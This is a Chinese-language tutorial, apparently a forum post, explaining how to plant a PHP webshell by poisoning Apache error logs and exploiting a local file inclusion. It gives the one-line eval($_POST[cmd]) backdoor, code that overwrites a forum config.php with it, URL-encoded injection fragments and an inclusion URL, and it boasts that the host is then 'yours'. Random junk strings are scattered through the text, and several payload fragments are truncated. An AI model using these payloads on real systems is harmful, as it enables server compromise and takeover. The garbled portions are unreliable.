php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
6 n& R) M. @. U  s6 ]1 d
5 T5 ]! b) N, _- `' T) D9 R4 T1 F到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
6 u2 Z  P3 z' `. Sfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
  a5 i2 C$ m3 S( ]
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

fclose%28%24fp%29%3B%3F%3E
我们提交

%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp

cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

! s1 P) V0 R4 s' K: T. `! F3 D这样就错误日志里就记录下了这行写入webshell的代码。
" w0 X; ~  S% o7 D3 E2 ?6 k! K, L我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

# _' b% V' `8 D* R  o$ j3 y! U# `这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

7 w) q7 `: m$ u+ x( XPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
